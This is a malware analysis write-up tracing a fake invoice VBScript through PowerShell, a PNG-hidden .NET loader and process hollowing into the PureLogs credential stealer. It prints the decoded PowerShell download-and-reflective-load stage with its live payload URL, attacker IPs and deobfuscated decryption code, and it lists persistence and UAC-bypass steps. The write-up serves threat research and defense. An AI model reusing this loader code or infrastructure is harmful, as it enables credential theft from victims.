Tracepoint

← Back to Writeups
Fake PDF Leading to PureLogs Stealer - A Multi-Stage VBScript Loader Analysis DFIR Malware Analysis Threat Research


Executive Summary

This analysis examines a malicious VBScript sample named FACTURA_PDF.vbs, first observed in the wild on December 18, 2025. The sample is reportedly distributed via malspam campaigns and appears to primarily target Spanish-speaking users by masquerading as a legitimate invoice PDF.

Rather than acting as a simple dropper, the script functions as a heavily obfuscated, multi-stage loader. It employs excessive padding, Unicode-based obfuscation, steganographic payload storage, and reflective .NET loading to evade static detection and minimize on-disk artifacts. Execution is staged through VBScript and PowerShell, with each layer deferring meaningful behavior until runtime.

The infection chain culminates in the in-memory execution of a .NET loader that retrieves an external payload and injects it into a legitimate Windows binary (RegAsm.exe) using process hollowing. Analysis of the final payload, combined with observed runtime behavior and code-level traits, strongly associates the activity with PureLogs Stealer, a credential-harvesting malware family commonly distributed via phishing campaigns.

This case highlights a broader trend in modern malware delivery: modular loader chains, abuse of trusted system binaries, and fileless execution designed to evade traditional endpoint detection and complicate forensic analysis. Detecting and investigating threats of this nature requires behavioral telemetry and memory-based analysis rather than reliance on disk artifacts alone.

Analysis

As the original delivery vector for this script is unknown, the analysis begins directly with the script itself.

The script is heavily padded and contains thousands (8,000+) of repetitive lines similar to the following:

postnasal = postnasal & "ʋⅱ॰▾Ὁ⏆⒄🕩ศ௱ݢਟ۹⣨᧾"
postnasal = postnasal & "ʋⅱ॰▾Ὁ⏆⒄🕩ศ௱ݢਟ۹⣨᧾"
postnasal = postnasal & "ʋⅱ॰▾Ὁ⏆⒄🕩ศ௱ݢਟ۹⣨᧾"
postnasal = postnasal & "ʋⅱ॰▾Ὁ⏆⒄🕩ศ௱ݢਟ۹⣨᧾"
script padding
script padding

These statements do not contribute to program logic or execution. Instead, they exist purely as padding and noise, dramatically inflating the script size and obscuring its true behavior. This technique is commonly used to overwhelm analysts, evade heuristic scanning, and degrade the effectiveness of static inspection tools.

First variable - pinakiolite

pinakiolite
pinakiolite

The script defines a variable named pinakiolite, which at first glance appears to be an unintelligible, Unicode-heavy string. Despite its visual complexity, this variable does not implement encryption or a custom encoding scheme. Instead, it acts as a container for a Base64-encoded payload, intentionally polluted with recurring Unicode padding characters.

These padding characters are inserted in a consistent pattern between legitimate Base64 characters. Their purpose is to disrupt simple string extraction, break naïve Base64 decoders, and evade signature-based detection, while remaining trivial to remove programmatically later in execution.

Constructing the execution command - Miriam

Dim Miriam
Dim Miriam

Later in the script, a variable named Miriam is defined. This variable assembles a full PowerShell command line by joining multiple string fragments together. Like pinakiolite, these fragments are interspersed with the same Unicode padding patterns.

Once cleaned, the reconstructed command performs Base64 decoding of the payload stored in pinakiolite and pipes the resulting PowerShell code directly into Invoke-Expression, enabling in-memory execution without writing a decoded script to disk.

Preparing hidden execution with WMI

WMI
WMI

This section prepares a silent execution context using Windows Management Instrumentation (WMI). The script connects to the root\cimv2 namespace and retrieves the Win32_ProcessStartup class, from which it creates a startup configuration object.

By explicitly setting ShowWindow = 0, the script ensures that any process launched using this configuration will execute without displaying a visible window. At this stage, no process is created; this step solely defines how the process should behave once it is launched, ensuring stealthy execution.

Creating the process

processcreate
processcreate

This is the point where execution actually occurs. The script invokes WMI’s Win32_Process.Create method, passing the previously constructed Miriam string as the command line. Before execution, Miriam is sanitized by removing the two Unicode padding patterns, revealing the true PowerShell command.

The process is created using the earlier reproving startup object, enforcing hidden execution (ShowWindow = 0). The variables Batswana and woodstone are used to capture the return status and process ID from the WMI call, completing a fully silent process creation and execution chain.

Decoding the script:

With the help of a little python magic, I was able to extract the base64 blob out of the script

cyberchef
cyberchef

Decoded script:

$pilpulistic = New-Object System.Net.WebClient;
$pilpulistic.Headers.Add("User-Agent", "Mozilla/5.0");
$pilpulistic.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
$pilpulistic.Headers.Add("Accept-Language", "en-US,en;q=0.9");

$locustid = 'https://ia801709.us.archive.org/8/items/optimized_msi_20251216_1724/optimized_MSI.png';
$Veluws = $pilpulistic.DownloadData($locustid);
$graphitic = [System.Text.Encoding]::ASCII.GetString($Veluws);

if ($graphitic -match 'BaseStart-(.*?)-BaseEnd') {
    $newcomers = $matches[1];
    $backrowers = [Reflection.Assembly]::Load(
        [Convert]::FromBase64String($newcomers)
    );

    $argsBase64 = 'Jz1RSGUwNXljdWxXWW9OR0l3UXpMdEZtY245aU53RWpMMVVUTXVVRE55NGlNM0V6THZvRGMwUkhhJywnJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdSdTAwWWRzQXN1JywnUmVnQXNtJywnJywnUmVnQXNtJywnJywnVVJMJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdSdTAwWWRzQXN1JywndmJzJywnMScsJycsJ09mY242cFphQW8nLCcwJywnJywnJywnJw==';
    $argsString = [System.Text.Encoding]::UTF8.GetString(
        [System.Convert]::FromBase64String($argsBase64)
    );
    $args = $argsString -split ',' | ForEach-Object { $_.Trim('''"' ) };

    [ClassLibrary1.Class1].GetMethod("VAI").Invoke($null, $args);
}

Even without fully decoding every downstream component, several high-confidence behaviors and artifacts are immediately apparent.

First, the script downloads a file masquerading as a PNG image from an Archive.org-hosted URL:

https[:]//ia801709.us[.]archive[.]org/8/items/optimized_msi_20251216_1724/optimized_MSI[.]png

Despite its file extension and hosting location, the downloaded content is not processed as an image. Instead, it is converted directly into an ASCII string and searched for explicit BaseStart and BaseEnd markers. These markers delimit an embedded Base64 payload, which is extracted and loaded directly into memory as a .NET assembly using Reflection.Assembly::Load. At no point is this assembly written to disk.

msi
msi
msi2
msi2

The script then decodes a second Base64 blob, which resolves not to executable code but to a structured argument string:

'=QHe05yculWYoNGIwQzLtFmcn9iNwEjL1UTMuUDNy4iM3EzLvoDc0RHa','','C:\Users\Public\Downloads\','Ru00YdsAsu','RegAsm','','RegAsm','','URL','C:\Users\Public\Downloads\','Ru00YdsAsu','vbs','1','','Ofcn6pZaAo','0','','',''

One of the values within this argument set is itself Base64-encoded and reversed. When decoded, it reveals an external network resource:

http[:]//172.245[.]155[.]106/gram/40chains[.]txt

This indicates that the in-memory .NET assembly is parameter-driven and designed to retrieve additional content at runtime. The decoded argument list, including the external URL, is passed into the VAI method of ClassLibrary1.Class1, which is responsible for loading and processing the contents of the referenced text file entirely in memory.

The txt file is another base64 encoded payload (PE), but this time it's reversed.

40 chains
40 chains

At this stage, the execution chain clearly extends beyond the initial loader stages: VBScript serves as the heavily obfuscated entry point, PowerShell acts as a transient loader, a PNG file is abused as a payload container, and a .NET assembly orchestrates further execution using externally hosted content. Each layer deliberately minimizes on-disk artifacts and defers meaningful behavior until later stages, complicating static analysis and early detection.

cyberchef2
cyberchef2
cyberchef3
cyberchef3

Payload extraction and analysis

optimized_MSI.png:

The url hosting this sample is dead at the time of writing this write up but can be recovered via malshare.

for the same of simplicity, I named the extracted payload png.dll.

What we are mainly after in this sample is the VAI method from ClassLibrary1.Class1 as it's the core malicious logic of the reflective .NET loader extracted from the PNG file.

png 1
png 1
png2
png2
png3
png3

The VAI method in ClassLibrary1.Class1, extracted from the PNG-embedded .NET assembly, is the malware's primary entry point. This static void method takes 19 string parameters from the PowerShell loader, controlling persistence, evasion, escalation, and payload injection. Decompilation via dnSpy exposes heavy obfuscation: dead comparisons (e.g., -75 < 91), XOR control flow, infinite loops, and encrypted strings via Unicode-escaped helpers.

Method signature:

public static void VAI(string encodedUrlPayload, string flagRegStartup, string vbsPath, string vbsName, string clrPath, string nativeDllPath, string nativeDllName, string flagTaskPersistence, string payloadUrl, string outputPath, string outputName, string fileExt, string intervalMinutes, string flagStartupTask, string schedulerTaskName, string vmDetectionName, string flagUacStart, string uacPayloadUrl, string uacCommand)

Deobfuscated flow:

  1. Task Persistence: If flagTaskPersistence == "1": Calls Class15.VerificarMinutos(...) to set interval-based scheduled tasks for re-downloading/executing from payloadUrl using Microsoft.Win32.TaskScheduler.
  2. Startup Task: If flagStartupTask == "1": Calls \uE077.\uE000(...) for login-triggered tasks.
  3. Registry Persistence: If flagRegStartup == "1": Calls \uE076.\uE000(...) to add HKCU\Run key with VBS wrapper.
  4. VM Detection: If vmDetectionName == "1": Calls \uE079.\uE000() for sandbox checks.
  5. UAC Bypass: If flagUacStart == "1" and not elevated: Calls \uE065.\uE002() for escalation.
  6. Payload Injection: Ends with \uE078.\uE000(encodedUrlPayload, ...): Deobfuscates/retrieves 40chains.txt, decodes to PE, injects into RegAsm.exe via process hollowing.
hollow1
hollow1
hollow2
hollow2
hollow3
hollow3
hollow4
hollow4
hollow5
hollow5
hollow6
hollow6

[Note]
A key insight from decompiling the VAI method is that persistence mechanisms are not always active—they are conditionally triggered by specific flags in the 19-parameter argument array passed from the PowerShell loader. These flags (e.g., flagRegStartup, flagTaskPersistence, flagStartupTask) must resolve to "1" (via \uE36D.\uE2F1(flag..., \uE0BF.\uE000(211901))) to enable behaviors such as registry modifications or scheduled task creation. In the original script's decoded Base64 blob, the arguments are:

'=QHe05yculWYoNGIwQzLtFmcn9iNwEjL1UTMuUDNy4iM3EzLvoDc0RHa','','C:\Users\Public\Downloads\','Ru00YdsAsu','RegAsm','','RegAsm','','URL','C:\Users\Public\Downloads\','Ru00YdsAsu','vbs','1','','Ofcn6pZaAo','0','','',''

Mapping these to the parameters shows that persistence-related flags (positions 2, 8, and 14) are empty ('') or unset, skipping those actions during runtime. This deliberate modularity allows attackers to customize per campaign—e.g., enabling persistence only on high-value targets to minimize detection risk—while always executing the core injection into RegAsm.exe (via \uE078.\uE000). This explains why detonations may show RegAsm activity and C2 attempts but no registry/tasks or file drops. In emulation, setting these flags to '1' forces the behaviors, as demonstrated in lab scripts.

40 Chains.exe

The decoded PE extracted from 40chains.txt (a reversed Base64 binary) is a C# .NET executable functioning as a heavily obfuscated loader stub, consistent with PureLogs-style stealer delivery mechanisms. The assembly uses mangled namespaces and class names (e.g., UslchUVQTZa3l6lTn8.y21jJKqD7qpoAKGOSS) and stores its core payload in encrypted embedded resources.

Decompilation in dnSpy shows a minimal entry point whose sole purpose is to decrypt, decompress, and execute an embedded secondary assembly entirely in memory. This design enables fileless runtime execution and defers all malicious functionality to later stages in the execution chain.

Entry Point: Main()

main
main

The Main() method serves as a thin wrapper, immediately delegating execution to the obfuscated V3uORs10J() method within y21jJKqD7qpoAKGOSS. This method is responsible for initializing the runtime environment and loading the decrypted payload. Observed behavior is consistent with configuration parsing (including encrypted C2 data and build identifiers), evasion checks, and preparation for data theft and exfiltration handled by the loaded assembly.

V3uORs10J
V3uORs10J

Within V3uORs10J():

  • The decrypted assembly is reflectively loaded into memory.
  • A mangled entry method (bW4D8s5Ms) is invoked dynamically, transferring execution to the core stealer logic.

Resource Decryption: TFTpwytKX() and oWAJoZmL5()

internal static byte[] TFTpwytKX()
{
    return y21jJKqD7qpoAKGOSS.oWAJoZmL5(
        Nijgnk.Wwlqw,
        y21jJKqD7qpoAKGOSS.jJ00Y1tGk,
        y21jJKqD7qpoAKGOSS.AFlxy99QO
    );
}

internal static byte[] oWAJoZmL5(byte[] encryptedData, byte[] key, byte[] iv)
{
    using (TripleDESCryptoServiceProvider des = new TripleDESCryptoServiceProvider())
    {
        des.Key = key; // Base64-decoded hardcoded key
        des.IV  = iv;  // Base64-decoded hardcoded IV

        using (MemoryStream ms = new MemoryStream())
        using (CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write))
        {
            cs.Write(encryptedData, 0, encryptedData.Length);
            cs.FlushFinalBlock();

            using (MemoryStream decompressed = new MemoryStream(ms.ToArray()))
            using (GZipStream gz = new GZipStream(decompressed, CompressionMode.Decompress))
            {
                return gz.ReadBytes(...);
            }
        }
    }
}

This routine decrypts an embedded resource (Nijgnk.Wwlqw) using Triple DES in CBC mode with PKCS7 padding, followed by GZip decompression to recover the core stealer assembly. The use of hardcoded cryptographic material and layered decoding provides basic anti-static-analysis protection while keeping runtime execution lightweight.

While this stub does not itself perform process injection, it enables the subsequent execution stages that ultimately lead to RegAsm.exe-based process hollowing and credential theft activity observed later in the infection chain.


Payload execution, dynamic/memory analysis (+ some OSINT)

Execution

Although the URL serving the PNG malicious PNG file is no longer up, I was able to recover the sample and craft a PowerShell script that resembles the flow of the original attack chain.

PowerShell
PowerShell

Following the execution of this script, an instance of RegAsm.exe was spawned and a SYN was sent to 38.49.210.241:22100

procexp
procexp

Forensics

Memory forensics (malfind and procsentinel plugins) on a memory dump taken from the test host clearly indicate a MZ header on RegAsm.exe, which has a PAGE_EXECUTE_READWRITE protection mask

malfind
malfind
windows.procsentinel
windows.procsentinel

PowerShell is also flagged for it's protection mask:

malfind2
malfind2

Indicators OSINT

The IP address 38.49.210[.]241 is flagged for comuniacting woth various maliicous files, may of which are docx files of VBS files masqurading as PDFs

38.49.210.241
38.49.210.241

The IP address serving the malicious base64 encoded file (172.245.155.106) is not as flagged but is active at the time of writhing the report and still serves multiple file:

172.245.155.106
172.245.155.106
gram
gram
172.245.155.106-dahbord
172.245.155.106-dahbord

Malware family association - PureLogs Stealer:

Several indicators confidently associate this malware with PureLogs Stealer, a .NET-based infostealer known for credential theft and modular design.

The decoded PE from 40chains.txt exhibits hallmark PureLogs traits: Triple DES decryption with hardcoded keys/IVs (e.g., UKjalDtSSJzn12Me/wg1Rg==), GZip decompression of embedded resources, and reflective loading via Assembly.Load followed by obfuscated method invocation (e.g., bW4D8s5Ms).

Runtime behaviors align with PureLogs reports, including in-memory execution within injected processes like RegAsm.exe, anti-VM checks, and C2 beaconing for exfil. The stub's mangled namespaces (e.g., y21jJKqD7qpoAKGOSS) and thin Main() wrapper mirror analyzed variants, often packed with .NET Reactor for evasion.

The layered delivery (VBS → PS → PNG loader → stealer) matches phishing campaigns distributing PureLogs.

For more details, see:


Key Takeaways

  • Modern malware favors layered loaders over single payloads
    This sample demonstrates a clear trend: VBScript → PowerShell → steganographic container → reflective .NET loader → external payload → process hollowing. Each layer is simple on its own, but together they significantly complicate detection and analysis.
  • “Legitimate” infrastructure is still effective camouflage
    Hosting payloads on Archive.org, abusing PNG containers, and injecting into RegAsm.exe are not novel techniques, but they remain effective. Defenders should treat trusted binaries and platforms as potential abuse vectors, not implicit indicators of safety.
  • Modularity enables attacker flexibility and evasion
    The flag-driven design of the VAI method allows operators to selectively enable persistence, escalation, or sandbox evasion per campaign or per victim. This explains why some detonations show aggressive persistence while others remain memory-only.
  • Memory forensics is no longer optional
    No meaningful artifacts were written to disk beyond transient loader stages. Without memory analysis, RegAsm.exe injection and in-memory payload execution would have been easy to miss. This reinforces the need for memory-aware detection and response workflows.
  • Small loaders often hide the most important logic
    The VBScript itself does very little directly - its entire purpose is to stage execution. The real behavior only becomes visible once the .NET loaders and their parameters are understood. Skipping “boring” loader code risks missing the bigger picture.

IOCs

TYPE IOC VALUE
SHA256 8DF7A8188364B2A90B4C77E9729E98EF9D565BF85C4CA8239E578C42C11A94F4 FACTURA_PDF.vbs
SHA256 435ef8e65e1e4706c5453ffafd29fa4d140441fc958acec0baf32bebda7b5ff3 optimized_MSI.png
SHA256 06478EEA489990A736FC412EC4402AA0863A0B30D7976C6E9DA07991136DC05A 40 chains.txt
SHA256 12A3284B586E436B1485BA978A4AD08F5FAC716ABA1A950248630ED3A3D93DBE Microsoft.Win32.TaskScheduler.dll (png.dll)
SHA256 2DB292048E513DB424BEE53FF102CE98AA4C7676124309576DA88ED8827CCCA3 Oekuhka.exe (40chains.exe)
URL https[:]//ia801709.us[.]archive[.]org/8/items/optimized_msi_20251216_1724/optimized_MSI[.]png
IP 38.49.210[.]241
IP 172.245.155[.]106